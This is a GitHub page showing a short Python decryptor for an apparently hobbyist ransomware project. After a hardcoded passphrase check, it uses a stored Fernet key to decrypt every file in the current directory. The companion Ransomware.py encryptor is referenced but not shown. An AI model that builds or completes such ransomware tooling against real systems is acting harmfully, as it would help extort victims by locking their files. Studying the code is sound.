-
Notifications
You must be signed in to change notification settings - Fork 0
/
Decrypt_Ransomware.py
49 lines (35 loc) · 1.4 KB
/
Decrypt_Ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
def check_secret_phrase(user_phrase, secret_phrase):
with open("thekey.txt", "rb") as file_with_key:
key = file_with_key.read()
files = []
length = len(user_phrase)
a = 0
for character in range(length):
if secret_phrase[a] == user_phrase[a] and secret_phrase == user_phrase:
a += 1
else:
print("Wrong answer")
exit()
if a == 7:
break
print("Password was correct")
for file in os.listdir():
# Lists directories and if target in directory is a file, append to list
if file == "Ransomware.py" or file == "thekey.txt" or file == "Decrypt_Ransomware.py.swp" or file == "Decrypt_Ransomware.py":
continue
if os.path.isfile(file):
files.append(file)
for file in files:
with open(file, "rb") as attacked_file:
contents = attacked_file.read().strip()
contents_decrypted = Fernet(key).decrypt(contents)
with open(file, "wb") as attacked_file:
attacked_file.write(contents_decrypted)
print(f"\nDecrypted filename: {file}")
if __name__ == "__main__":
secret_phrase = "Elliot27"
user_phrase = input("please enter decryption code: ")
check_secret_phrase(user_phrase, secret_phrase)